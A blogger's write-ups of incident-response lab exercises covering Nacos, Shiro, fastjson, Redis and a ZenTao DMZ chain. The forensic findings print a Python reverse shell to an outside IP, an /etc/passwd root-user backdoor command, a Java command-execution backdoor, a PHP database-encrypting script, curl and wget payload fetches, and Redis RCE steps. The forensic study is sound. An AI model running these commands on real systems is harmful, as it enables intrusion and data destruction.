- 修复措施:修改 Nacos 的配置,自定义 User-Agent,避免暴露应用的具体信息。另外,对 Nacos 的访问来源进行限制,只允许受信任的 IP 地址或 IP 地址段访问。
Nacos Derby SQL Injection(Derby SQL 注入)漏洞
- 问题本质:应用对用户输入的处理不当,导致攻击者可以通过构造恶意的 SQL 语句,在 Derby 数据库中执行非授权操作,如获取敏感数据、篡改数据等。
- 修复措施:对所有用户输入进行严格的验证和过滤,使用预编译语句来执行 SQL 操作,避免直接拼接用户输入到 SQL 语句中。同时,及时更新 Nacos 到官方发布的安全版本,关注官方的安全补丁,以修复已知的 SQL 注入漏洞。
Nacos Default token.secret.key 漏洞
- 问题本质:默认的 token.secret.key 安全性低,攻击者如果获取到该密钥,就可能伪造令牌,获取到系统的访问权限。
- 修复措施:在 Nacos 配置中,生成并设置一个高强度、随机的 token.secret.key。定期更换 token.secret.key,并且对相关的密钥管理设置严格的权限控制。
Nacos Default Password (nacos/nacos)(默认密码)漏洞
- 问题本质:Nacos 使用默认的用户名和密码(nacos/nacos),攻击者可以轻易尝试登录,获取系统权限。
- 修复措施:立即修改默认的用户名和密码,设置高强度密码,并定期更换。同时,启用多因素认证(MFA) ,除了用户名和密码外,还要求用户提供手机验证码等额外的验证信息,增加攻击者破解和登录的难度。
默认口令:
nacos:nacos
修改密码:
/nacos/v1/auth/users?pageNo=1&pageSize=1
/nacos/v1/auth/users?pageNo=1&pageSize=9
v1/cs/ops/derby?sql=select+*+from+sys.systables
参考:第八章 内存马分析-java01-nacos-CSDN博客
第八章 内存马分析-java02-shiro
总结:fscan扫描端口;shiro反序列化利用;/etc/passwd查看隐藏用户;后门查找
靶机来源 @vulntarget
靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget
本题不提供靶机账户密码请根据nacos 获取的shirokey 攻击靶机后登录应急
1.将 shiro 的 key 作为 flag 提交
上一个靶机找到的:
flag{KduO0i+zUIMcNNJnsZwU9Q==}
2.隐藏用户后删除,并将隐藏用户名作为 flag 提交
先用fscan扫一下看看端口
fscan.exe -h 52.83.97.97
可以看到开放了两个端口,其中8088是一个登陆界面
工具:Shiro反序列化利用工具
利用链是CommonsBeanutilsString_183,回显方式是AllEcho
看隐藏用户,我们去看/etc/passwd文件
0:0,拥有最高权限,所以这个就是隐藏用户
flag{guest}
强制删除:
userdel -f guest
3.分析app.jar文件是否存在后门,并把后门路由名称作为 flag 提交 <flag{/manager}>
我们用webshell连接
这里我死活连不上不知道为什么,看了其他人的添加用户密码用ssh连接我也不行
echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd && echo "PermitRootLogin yes" >> /etc/ssh/sshd_config && /etc/init.d/ssh restart
反正就是进入目标靶机之后查看app.jar文件
@RequestMapping({"/exec"})
public void toIndex(String cmd, ServletResponse response) throws IOException {
ProcessBuilder p;
HttpServletResponse res = (HttpServletResponse) response;
PrintWriter writer = res.getWriter();
if (cmd != null) {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder("cmd.exe", "/c", cmd);
} else {
p = new ProcessBuilder("/bin/sh", "-c", cmd);
}
Scanner c = new Scanner(p.start().getInputStream()).useDelimiter("\\A");
String o = c.hasNext() ? c.next() : "";
c.close();
writer.write(o);
writer.flush();
writer.close();
}
}
这段代码是一个 Java 的 Web 后端接口方法,使用了 Spring 框架的@RequestMapping
注解来映射 URL 路径/exec
。其主要功能是:
- 接收一个名为
cmd
的字符串参数和一个ServletResponse
对象。 - 根据操作系统类型(Windows 或其他类 Unix 系统)创建不同的
ProcessBuilder
对象来执行系统命令。 - 执行传入的
cmd
命令,并将命令执行结果通过ServletResponse
返回给客户端。
它直接接受用户传入的命令并执行,没有任何的安全过滤和验证,这可能导致命令注入攻击。攻击者可以通过构造恶意的cmd
参数来执行任意系统命令,从而对服务器造成严重的安全威胁。在实际的生产环境中,这种代码是不允许存在的,必须进行严格的安全加固,例如对用户输入的命令进行白名单过滤、使用安全的命令执行方式等。
利用/bin/sh对cmd传入的参数进行命令执行
其实这个dirsearch也扫到了
flag{/exec}
4.分析app.jar文件,将后门的密码作为 flag 提交
密码就是cmd
flag{cmd}
第八章 内存马分析-java03-fastjson
这个暂时没有搞明白所以后面的没写,后续会补上
靶机环境来源vulntarget,靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget
fastjson版本作为 flag 提交 flag
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
事先去搜了一下相关漏洞,找了一篇文章来看:一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户
扫一下
访问8088端口
登录界面
抓包,去掉后面的{报错
{"@type":"java.lang.AutoCloseable"
被过滤了,用unicode编码
{
"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0041\u0075\u0074\u006f\u0043\u006c\u006f\u0073\u0065\u0061\u0062\u006c\u0065"
版本是1.2.47
flag{1.2.47}
内核版本作为 flag 提交 flag
清理内纯马 (热清理)
清理后门 (热清理)
参考:玄机-第八章 内存马分析-java03-fastjson的测试报告_玄机内存马查杀-CSDN博客
玄机应急响应靶场 - 内存马分析WP | CN-SEC 中文网
第九章-blueteam 的小心思
总结:流量包分析;d盾扫描;后门用户;登录后门连接;数据库解密;命令提权
服务器场景操作系统 Linux
服务器账号密码 root qi5qaz
任务环境说明
注:进去后执行 sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
开放题目
漏洞修复
攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
根目录有流量包,下载
协议分级选中http
既然是登录那么就是POST,过滤一下
http.request.method==POST
没几个,一个个试发现最后一个是
Aa12345^
flag{d63edb0e9df4cf411398e3658c0237e0}
攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
继续http追踪流,流15发现一句话木马
页面是pluginmgr.php
flag{b05c0be368ffa72e6cb2df7e1e1b27be}
找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
这个上传webshell文件就是在/var/www/html目录下面,我是直接打包用d盾扫描了
到对应目录下面计算md5值
md5sum cpg.php
flag{a097b773ced57bb7d51c6719fe8fe5f5}
攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
追踪流继续看,流21发现下载了一个is.world
文件
提权
查看文件是可执行文件
到之前后门文件目录下面查看全部文件发现有一个目录
flag{ee279c39bf3dcb225093bdbafeb9a439}
攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
查看用户就去/etc/shadow文件
knowledgegraphd:$1$salt$ULlt8/CYe0RiHAfUlB9YR1:19679:0:99999:7:::
这个并没有设置高权限但是是最后面的,一般就是黑客设置的后门用户
flag{4cda3461543c9a770a3349760594facd}
攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
常见位置包括:
/etc/profile
:全局登录脚本(所有用户登录时执行)/etc/bash.bashrc
:全局非登录交互式Shell的初始化(但登录时可能被调用)/etc/profile.d/
目录:其中的脚本在登录时被/etc/profile
调用/etc/pam.d/login
或相关PAM配置:可设置登录时执行命令/etc/ssh/sshrc
:SSH登录时执行(针对所有用户)/etc/environment
:设置环境变量(可能被利用来执行命令)
最典型的配置是修改/etc/profile
或/etc/profile.d/
中的脚本,因为它们在用户登录时会被执行。
/var/www/html/plugins/". "/is.world &
这行命令会在用户登录时执行(因为/etc/profile
是全局登录脚本),触发后门连接
flag{65bf3e4a9ac90d75ec28be0317775618}
攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
主要查找位置:
- /root/.bashrc
- root用户的bash初始化文件
- 只在root用户启动交互式shell时执行
- /root/.profile
- root用户的登录配置文件
- 在root用户登录时执行
- /root/.ssh/rc
- root用户通过SSH登录时执行
- /etc/security/opasswd (PAM相关)
- 但不太常见
- /etc/sudoers.d/ 中的特殊配置
- 但通常用于权限控制而非执行命令
- /etc/profile 中的条件判断
- 可能在/etc/profile中添加了UID判断:
if [ $(id -u) -eq 0 ]; then
恶意命令
fi
有一行可疑
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
这是一个Python反向Shell后门命令
python -c '...' &
-c
:执行后面的Python代码&
:在后台运行(不阻塞当前shell)
- 导入模块
import socket,subprocess,os
socket
:网络通信subprocess
:创建子进程os
:操作系统接口
- 建立socket连接
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("124.221.70.199",9919))
- 创建TCP socket(
AF_INET
=IPv4,SOCK_STREAM
=TCP) - 连接到攻击者的服务器:
124.221.70.199:9919
- 重定向标准流
os.dup2(s.fileno(),0) # 标准输入(0) → socket
os.dup2(s.fileno(),1) # 标准输出(1) → socket
os.dup2(s.fileno(),2) # 标准错误(2) → socket
- 将所有输入输出重定向到网络连接
- 启动交互式shell
p=subprocess.call(["/bin/sh","-i"])
"/bin/sh","-i"
:启动交互式shell- 由于输入输出已重定向,shell的I/O都通过socket进行
flag{4acc9c465eeeb139c194893ec0a8bcbc}
攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
数据库的登录信息一般是存放在config.inc.php文件中的,查找文件
find / -name config.inc.php
这里没截图了,在
/var/www/html/include/config.inc.php
账号密码是root/mysql123,这里看博客学到了用navicat连接数据库,先配置ssh,这里的主机就是靶机ip,用户名和密码就是靶机的用户名和密码
然后不点确定点到常规开始配置,连接名称随便写,主机localhost,端口3306,这里的用户名和密码就是数据库的用户名和密码
连上了
一个个打开看发现JPMorgan这个打不开,显示了这个
那么应该就是这个被加密了:JPMorgan@0020Chase
计算md5
flag{0928a5424aa6126e5923980ca103560e}
解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
这个看博客一步步学的,原文:
提交Harper用户对应的Areer的值并且进行MD5加密,那这里黑客肯定是对表“Balance”进行了什么操作才导致进不去,那我们就尝试查找一下黑客比文件“cpg.php“新,又比闻文件“Balance.frm”旧的所有文件
命令:
find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
find /
- 从根目录开始搜索所有文件
-type f
- 只查找普通文件(排除目录、设备文件等)
-newer /var/www/html/plugins/cpg.php
- 查找修改时间晚于参考文件
cpg.php
的文件 cpg.php
是Webshell或被篡改的文件的时间基准点
! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
!
表示逻辑"非"- 查找修改时间不晚于(即早于或等于)参考文件
Balance.frm
的文件 Balance.frm
可能是另一个时间基准点
很显眼的php文件,或者一个个排查也行
<?php
$currentDate = date("Y-m-d");
$key = md5($currentDate);
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$content = file_get_contents($fullPath);
$encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $encryptedContent);
}
}
?>
该脚本会加密/var/lib/mysql/JPMorgan@0020Chase/
目录下的所有文件,使用基于当前日期的动态密钥。
- 生成加密密钥
$currentDate = date("Y-m-d"); // 获取当前日期,如"2023-12-07"
$key = md5($currentDate); // 用MD5哈希日期作为密钥
- 每日变化的密钥:密钥基于当前日期,每天不同
- 密钥恢复:攻击者只需要知道日期就能解密
- 生成初始化向量(IV)
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
- 从固定字符串"DeepMountainsGD"的SHA256哈希中取前16字节作为IV
- IV是固定的,这降低了加密安全性
- 目标目录
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
- 加密MySQL数据库目录下的文件(注意:
@0020
是空格的URL编码) - 这很可能是勒索软件的目标
- 遍历和加密文件
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$content = file_get_contents($fullPath); // 读取文件内容
$encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $encryptedContent); // 写入加密内容
}
}
博客的对应的解密脚本
<?php
$currentDate = date("Y-m-d");
$key = md5('2023-11-18');
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$encryptedContent = file_get_contents($fullPath);
$decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $decryptedContent);
}
}
?>
该脚本会解密/var/lib/mysql/JPMorgan@0020Chase/
目录下的所有文件,使用指定的密钥和IV。
- 设置解密密钥
$currentDate = date("Y-m-d"); // 获取当前日期(但未使用)
$key = md5('2023-11-18'); // 使用固定日期"2023-11-18"的MD5作为密钥
- 重要:密钥硬编码为
2023-11-18
,这可能是文件被加密的具体日期。这里少了一点,这个日期是看之前的加密文件的属性得到的那天的日期的吗
- 生成初始化向量(IV)
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
- 与加密脚本使用相同的固定IV
- 从"DeepMountainsGD"的SHA256哈希取前16字节
- 目标目录
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
- 解密相同的MySQL数据库目录文件
- 遍历和解密文件
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$encryptedContent = file_get_contents($fullPath); // 读取加密内容
$decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $decryptedContent); // 写入解密内容
}
}
在靶机用vim把解密代码写进去,执行
vim decode.php
php decode.php
然后重启一下mysql
sudo systemctl restart mysql
navicat里面刷新就能看到数据了
在表UserIdentity里面
flag{8fd82b8864d71ed7fa12b59e6e34cd1c}
因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。
这个在第三章 权限维持-linux权限维持-隐藏
里面有遇到过,就是SUID位
find / -perm -u=s -type f 2>/dev/null
发现了sudo,Sudo 是一个常见的提权工具,肯定会被滥用
博客原文:
/usr/bin/sudo:
使用广泛:Sudo 被广泛用于权限提升,如果配置中有漏洞,黑客可以利用 sudo 提权。
历史漏洞:Sudo 曾经存在一些被利用的漏洞,比如 CVE-2019-14287,可以绕过限制。
那我们进一步的分析一下“/etc/sudoers”
为什么会分析“/etc/sudoers”呢?
权限配置:了解哪些用户或用户组被授予了 sudo 权限。如果配置不当,可能允许普通用户以 root 权限运行命令,从而导致安全问题。
命令限制:查看是否有特定用户被允许执行特定的命令,而不需要输入密码。如果这些命令存在漏洞,可能被黑客利用来提权。
安全策略:确认是否启用了安全策略,例如 requiretty 选项(要求 sudo 命令只能从终端运行),或 NOPASSWD 选项(允许某些命令无需密码运行)。
日志记录:检查 sudoers 文件中是否有日志记录配置,方便追踪 sudo 命令的使用情况。
简而言之: /etc/sudoers 包含了系统上 sudo 的配置和权限设置。(之前不是分析出sudo可能有问题嘛)
cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
其中包含了一个特权升级后门,关键后门配置:
www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service
- 用户:
www-data
- Web服务器(如Apache)的运行用户
- 通常权限较低,只能访问web目录
- 权限:
ALL=(root)
- 可以在任何主机上以root身份执行命令
- 免密码:
NOPASSWD:
- 执行sudo命令时不需要输入密码
- 这是最大的安全风险
- 命令:
/bin/systemctl status apache2.service
- 表面上只是查看Apache服务状态
- 但这里隐藏着巨大的风险
虽然只是status
命令,但systemctl status命令可以执行shell转义
所以完整路径是:/etc/sudoers
flag{6585817513b0ea96707ebb0d04d6aeff}
第九章-blueteam 的小心思2
ssh 端口 2222
nacos 的 key 为多少 flag
nacos配置文件的 flag
File Management System的 flag
root 密码多少 flag
黑客留下的 backdoor 后门的绝对路径
修复 4000-6000 端口漏洞
修复File Management System漏洞
清理黑客留下的backdoor
第九章-blueteam 的小心思3
总结:日志分析;流量分析;redis的主从复制;计划任务
应急响应工程师小 c 被通知服务器有对外链接请求的痕迹,并且提供给了小 c 一段 waf 上截获的数据包,请你分析对应的虚拟机环境跟数据包,找到关键字符串并且尝试修复漏洞
账号:root 密码:root123 流量包在/result.pcap
1. 审计日志,攻击者下载恶意木马文件的 ip是多少 flag{ip}
2. 审计流量包,木马文件连接密码是什么? flag{xxx}
3. 审计流量包,攻击者反弹的IP和端口是什么? flag{ip:port}
4. 提交黑客上传恶意文件的 md5 md5sum xxx.so
5. 攻击者在服务器内权限维持请求外部地址和恶意文件的地址 flag{http://xxxxxxxxxx/xx.xxx}
审计日志,攻击者下载恶意木马文件的 ip是多少 flag
连接靶机,砍日志,去/var/log,发现有apache,进去查看,有四个日志,第一个1看了没发现什么,其他三个都是gz压缩的,先解压缩
gunzip 文件名
文件内容有点多,我下载下来拿去notepad++查看了,搜搜关键文件名后缀,php
在最后发现了点东西
192.168.150.1 - - [21/Dec/2023:07:39:58 +0100] "GET /secret/evil.php?command=system(%27curl%20http://192.168.150.253:8080/shell.php%20-o%20/var/www/html/secret/.shell.php%27); HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
192.168.150.1 - - [21/Dec/2023:07:39:58 0100] "GET /secret/evil.php?command=system('curl http://192.168.150.253:8080/shell.php -o /var/www/html/secret/.shell.php'); HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
已经命令执行了
system('curl http://192.168.150.253:8080/shell.php -o /var/www/html/secret/.shell.php');
让服务器执行 curl
命令,从 192.168.150.253:8080
下载一个叫 shell.php
的木马,并保存为 /var/www/html/secret/.shell.php
其实在靶机的/var/www/html里面可以看到木马文件,所以确定ip就是192.168.150.253
flag{192.168.150.253}
审计流量包,木马文件连接密码是什么? flag
/目录下的流量包下载下来,协议分级选中http
shell.php,追踪流查看
连接密码是cmd
也可以直接去靶机里面看,到/var/www/html/secret目录,index.php文件
这个是把木马写进了shell.php里面,是个隐藏文件.shell.php
flag{cmd}
审计流量包,攻击者反弹的IP和端口是什么? flag
前面上传了木马文件之后后面就是蚁剑连接的加密流量了,一个个看来解密
没多少,一个个看就找到了
flag{192.168.150.199:4444}
提交黑客上传恶意文件的 md5 md5sum xxx.so
这个自己写的时候脑子突然想起来/目录有个so文件,然后想起之前的恶意文件一般都是so文件,而且题目也写了so,想着试一下结果真的是
后续去看了题解,这里是用到了redis的主从复制,流量包过滤tcp流量
有个关键字SLAVEOF
在 Redis 的世界里,SLAVEOF
是一个关键命令:
-
语法:
SLAVEOF <masterip> <masterport>
-
作用:
让当前 Redis 实例变成某个目标 Redis 节点的 从库,即建立 主从复制(Replication) 关系。
后续就CONFIG SET dbfilename module.so了
在 Redis 攻击链里,CONFIG SET dbfilename module.so
这一步就是关键的 落地写文件 操作
攻击者先执行:
CONFIG SET dbfilename module.so
这样一来,下一次 Redis 执行 保存操作(save / bgsave) 时,生成的文件名就不是 dump.rdb
,而是 module.so
。
然后攻击者利用主从复制,让目标 Redis 从攻击者的恶意 Redis 主库同步。
- 主库提供的 RDB 数据文件里,攻击者可以伪造 动态链接库代码(.so 文件)。
Redis 在保存 RDB 时,就会直接写出一个叫 module.so
的文件到磁盘。
接着攻击者可以用:
MODULE LOAD ./module.so
把这个恶意模块加载进 Redis 进程,达到 远程命令执行(RCE) 的目的。
flag{d41d8cd98f00b204e9800998ecf8427e}
攻击者在服务器内权限维持请求外部地址和恶意文件的地址 flag
看到权限维持就应该要想到计划任务,linux里面的关键字就是crontab,去流量包里面搜索关键字,tcp过滤
追踪流:
*/1
表示“每 1 分钟执行一次”。
/usr/bin/wget
→ 使用 wget
工具。
http://192.168.150.199:88/shell.php
→ 从远程 IP 192.168.150.199 的 88 端口下载 shell.php
文件。
-O /var/www/html/secret/.shell.php
→ 把下载的文件保存到本地目录 /var/www/html/secret/.shell.php
。
flag{http://192.168.150.199:88/shell.php}
第九章-NOP Team dmz-A
总结:禅道版本号查看;/opt目录查看安装工具;禅道RCE;
第九章-NOP Team-A
靶机来源 NOP Team 鸣谢 NOP Team
可以采用本地搭建或者是云端调度
搭建链接 https://mp.weixin.qq.com/s/p1KNDU84PXOv-fqo8TfHNQ
账户 root 密码 nopteama
请启动禅道服务 /opt/zbox/zbox -ap 8081 && /opt/zbox/zbox start
1、请提交禅道的版本号,格式: flag
连接靶机,根目录有个流量包,先下载下来
查看禅道的版本可以到对应目录查看VERSION
cat /opt/zbox/app/zentao/VERSION
flag{18.0.beta1}
2、分析攻击者使用了什么工具对内网环境进行了信息收集,将该工具名称提交 flag
在第三章 权限维持-linux权限维持-隐藏的第四问中有提过:
在Linux系统中,通常将 `/opt` 目录用于存放可选的、占用空间较大的第三方软件和应用程序。这些程序通常不是系统自带的,也不是通过系统包管理器(如apt、yum等)安装的
来到/opt目录,有个目录gj其实反应快的也知道这是工具的缩写
fscan,一个漏洞扫描利用工具
flag{fscan}
3、攻击者攻击服务器得到shell以后,是处于哪个用户下做的操作,将该用户名提交 flag
流量包分析,选中http,这里找了半天,后面看博客说有个漏洞:禅道项目管理系统RCE漏洞复现+利用_禅道漏洞-CSDN博客
直接过滤POST
只有三个,一个个看
SCM=Subversion&client=`id`
这里使用了反引号 id
,企图执行 id
命令查看当前用户信息
{"result":"fail","message":{"client":"\u5ba2\u6237\u7aef\u9519\u8bef\uff01<br \/>\u6267\u884c\u547d\u4ee4\uff1a`id` --version --quiet 2>&1<br \/>\n\u9519\u8bef\u7ed3\u679c(127)\uff1a sh: 1: uid=65534(nobody): not found<br \/>\n"}}
uid=65534
是 Linux/Unix 系统中标准的 nobody 用户。
nobody 是一个权限非常低的系统用户,通常用于运行一些不需要权限的服务进程。
响应中的 sh: 1: ... not found
说明命令尝试执行了,但权限有限,命令执行失败(可能因为没有 /bin/id
或 /bin/sh
限制)
flag{nobody}
4、攻击者扫描到内网 DMZ-B机器的账户密码为多少格式 flag
扫描,之前分析出来了工具是fscan,回到之前的工具目录下,有一个result.txt,是fscan扫描之后的结果
flag{admin:123456]}
参考:第九章-NOPTeamDmz-a-C - N1Rvana's Blog
第九章-NOP Team dmz-B
总结:历史命令查看
第九章-NOP Team dmz-B
可以采用本地搭建或者是云端调度
搭建链接 https://mp.weixin.qq.com/s/p1KNDU84PXOv-fqo8TfHNQ
通过dmz-A攻击者遗留下来的攻击结果,分析结果使用里面的用户名和密码可以对此环境进行登陆,自行保存id_rsa密钥文件
ssh -p 222 xxx@xxx.xxxx.xxx
1、攻击者通过DMZ-A登陆到DMZ-B机器里,在上面发现了DMZ-C机器里的一个密钥,通过某服务直接进行了登陆,请将服务名与登陆的用户名提交 <格式:flag{ftp:anonymous}>
靶机用户名密码就是上一个的最后一问:admin/123456
连接,admin用户,到/home/admin目录下查看历史命令:.bash_history
发现有ssh远程连接,用户名是deploy,ip是10.0.1.120
flag{ssh:deploy}
第九章-NOP Team dmz-C
总结:/opt目录查看;配置文件分析;权限查看
第九章-NOP Team dmz-C
可以采用本地搭建或者是云端调度
搭建链接 https://mp.weixin.qq.com/s/p1KNDU84PXOv-fqo8TfHNQ
可以通过dmz-B泄露的密钥将其保存到本地,然后进行登陆ssh
ssh -i xxx_xxx xxxx@xxxx.xxxx.xxxx
1、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,请将该挖矿程序的名称提交,格式 <flag{xxxxxx}>
上一题:
下载id_rsa文件,我是用xterminal连接,选择密钥登录,用户是deploy,密钥就是这个下载的
现在差不多了解了一般这些不是系统自带的程序就来opt找,一进来就看到了xmrig
一个挖矿病毒
flag{xmrig}
2、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,请将该挖矿的地址提交,格式 <flag{xxxxxx}>
上一问同一目录下还有挖矿病毒的配置文件,下载查看
找到了矿池域名
flag{xmrs1.pool.cn.com:55503}
3、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,但由于DMZ-C机器是不出网的,所以攻击者通过了一种方式将流量转发了出去,请将转发的目标端口提交,格式 <flag{xxxxxx}>
也是/opt目录下面的一个client目录,里面有frpc工具,一个内网穿透工具
也是下载下来查看了,frpc_full.ini配置文件:
在[plugin_socks5]
部分,配置了一个SOCKS5代理
1. SOCKS5 是什么?
SOCKS5 是一种网络代理协议。你可以把它想象成一个“流量中转站”或“信使”。
- 简单比喻:假设你(DMZ-C机器)想给一个国外的朋友(互联网上的挖矿服务器)寄信,但你的邮局(公司防火墙)规定不允许寄国际邮件。于是,你先把信交给一个本地的代理朋友(SOCKS5代理),这个代理朋友在海外有地址,他收到你的信后,会用自己的海外地址重新包装并寄给你的国外朋友。回信的过程也一样,国外朋友把回信寄给你的代理朋友,代理朋友再转交给你。对于邮局(防火墙)来说,它只看到你和本地代理朋友(内网中的另一台机器)在通信,并不知道最终的目的地是国外。
- 技术解释:
- SOCKS5 工作在会话层,它能代理几乎所有基于 TCP 或 UDP 的流量(如网页浏览、远程连接、游戏流量等)。
- 它不像 HTTP 代理那样只能处理网页流量,功能更通用。
- 客户端(这里是DMZ-C机器)只需要配置一个SOCKS5代理服务器的地址和端口,然后所有网络请求都会通过这个通道被转发出去。
2. 攻击者为什么要这么做?
原因正如下面这个流程图所展示的,核心是为了解决 “不出网” 的问题。
- 面临的困境:DMZ-C机器“不出网”,意味着它无法直接访问互联网。攻击者虽然上传了挖矿程序,但这个程序无法连接到外部的挖矿服务器(矿池)来接收任务和上报结果,相当于一个“瞎子”,无法工作。
- 已有的通道:攻击者之前已经通过FRP在DMZ-C(内网)和攻击者的公网服务器(FRPS)之间建立了一条可控的、出网的隧道。这条隧道本来是用于其他服务(如SSH)转发的,但FRP的强大之处在于它可以创建各种类型的代理。
- 利用FRP创建SOCKS5代理:攻击者不需要在DMZ-C上安装额外的代理软件(如SSH),而是直接利用FRP的
plugin
功能,在FRP配置文件中添加一个[plugin_socks5]
的配置段。这个配置的作用是:- 在FRPS服务器上(端口6005)监听:告诉FRPS:“请在你的6005端口上开启一个SOCKS5代理服务”。
- 流量走向:所有发往FRPS服务器6005端口的流量,都会通过之前建立好的FRP隧道,被反向转发到DMZ-C机器上的FRPC客户端。然后FRPC客户端再将流量转发给DMZ-C本机上的实际应用程序(挖矿程序)。
- 完成穿透:
- 攻击者配置挖矿程序,不再让它直接连接互联网,而是让它把所有的网络流量都发送到
127.0.0.1:1080
(即本地回环地址的1080端口)。 - 为什么是1080?这是SOCKS代理的默认常用端口(就像Web用80一样)。攻击者会在DMZ-C机器上启动一个本地的SOCKS代理客户端(例如用一些轻量级工具),这个客户端会连接到
127.0.0.1:1080
,并将收到的流量通过FRP隧道传输到公网FRPS的6005端口,最终到达互联网。 - 这样,挖矿程序的流量就成功地“伪装”成了FRP的合法隧道流量,绕过了“不出网”的限制。
- 攻击者配置挖矿程序,不再让它直接连接互联网,而是让它把所有的网络流量都发送到
这里,SOCKS5代理监听在FRPS(FRP服务器)上的端口是6005。但是,攻击者需要将流量从不出网的DMZ-C机器转发出去,通常会在攻击者控制的机器上设置一个SOCKS代理服务器,然后让DMZ-C机器连接到这个代理
然而,在配置文件中,还有一个关键的HTTP代理配置:
这里注释中提到了一个SOCKS5代理的示例:socks5://user:passwd@192.168.1.128:1080
,端口是1080。攻击者很可能使用这个端口来设置SOCKS5代理,从而将不出网的DMZ-C机器的流量转发出去
因此,攻击者通过SOCKS5代理将流量转发到端口1080
flag{1080}
4、攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,但由于DMZ-C机器是不出网的,所以攻击者通过了一种方式将流量转发了出去,请将用来做转发的工具的名称提交,格式 <flag{xxxxxx}>
显而易见了,上一题已经知道的
flag{frpc}
5、攻击者最后通过某配置文件配置错误,从而直接可以拥有root用户权限,请将错误配置的那一行等于号后面的内容(不含空格)提交,格式 <flag{xxxxxxx}>
sudo -l
- 这个命令会显示当前用户可以被允许以sudo方式运行的命令
- 如果输出中包含
(ALL) NOPASSWD: ALL
